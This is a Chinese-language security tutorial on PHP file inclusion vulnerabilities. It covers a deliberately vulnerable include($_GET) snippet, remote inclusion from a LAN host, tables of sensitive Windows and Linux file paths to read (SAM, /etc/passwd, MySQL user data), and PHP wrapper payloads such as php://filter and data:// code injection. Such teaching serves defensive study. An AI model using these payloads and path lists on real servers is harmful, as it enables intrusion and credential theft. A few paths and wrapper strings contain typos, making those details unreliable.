文件包含漏洞
什么是文件包含:
为了更好的使用代码的 重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。
文件包含漏洞的成因:
为了灵活的包含文件,将被包含文件设置为变量,通过动态变量引入需要包含的文件时,用户对变量的可控而服务器端卫队变量值合理的校验或被绕过。
文件包含函数:
include() // 找不到被包含文件时产生警告,脚本继续执行
include_once() // 与include类似,但如果该文件的代码已经被包含,则不会再次包含
require() // 找不到被包含文件时产生错误,脚本停止
require_once() // 与require类似,但如果该文件的代码已经被包含,则不会再次包含
文件包含示例:
文件包含分为本地包含和远程包含。
(1)本地包含:
<?php
include($_GET["page"]);
?>
输入可控变量page:
在本地包含中,任何一个文件,无论是什么类型的文件,只要其文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。
(2)远程包含:
远程包含功能需要在php.ini配置文件中进行修改:
allow_url_include = Off //把Off改成On
在 http://192.168.31.169/ 目录下存在test.txt文件:
<? php
echo "Hello World ";
?>
输入page=http://192.168.31.169/test.txt:
PHP文件包含的利用:
(1)读取敏感文件
常见敏感信息路径:
① Windows系统。
路径 | 功能 |
---|---|
C:\boot.ini | 查看系统版本 |
C:\windows\system32\inetsrv\MetaBase.xml | IIS配置文件 |
C:\windows\repair\sam | 存储Windows系统初次安装的密码 |
C:\Program Files\mysql\my.ini | Mysql配置 |
C:\Program Files\mysql\data\mysql\user.MYD | Mysql root |
C:\windows\php.ini | php配置信息 |
C:\windows\my.ini | Mysql配置文件 |
② Linux系统。
路径 | 功能 |
---|---|
/etc/passwd | |
/usr/local/app/apache2/conf/httpd.conf | apache2默认配置文件 |
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf | 虚拟网站设置 |
/usr/local/app/php5/lib/php.ini | PHP相关设置 |
/etc/httpd/conf/httpd.conf | apache配置文件 |
/etc/my.cof | Mysql的配置信息 |
(2)使用PHP封装协议
常见伪协议及其用法:
伪协议 | 用法 |
---|---|
file:// | ?file=file://绝对路径 |
php://filter | ?file=php://filter/read=convert.base64-encode/resource=相对路径 |
php://input | ?file=php:input (POST传参<?php phpinfo()?>) |
zip:// | ?file=zip://绝对路径/xxx.zip#1.txt (1.txt为zip中的文件) |
data:// | ?file=data://text/plain,<?php phpinfo() ?> or ?file=data://text/plain;base64,编码 |
php://input在使用时,要保证allow_url_include=On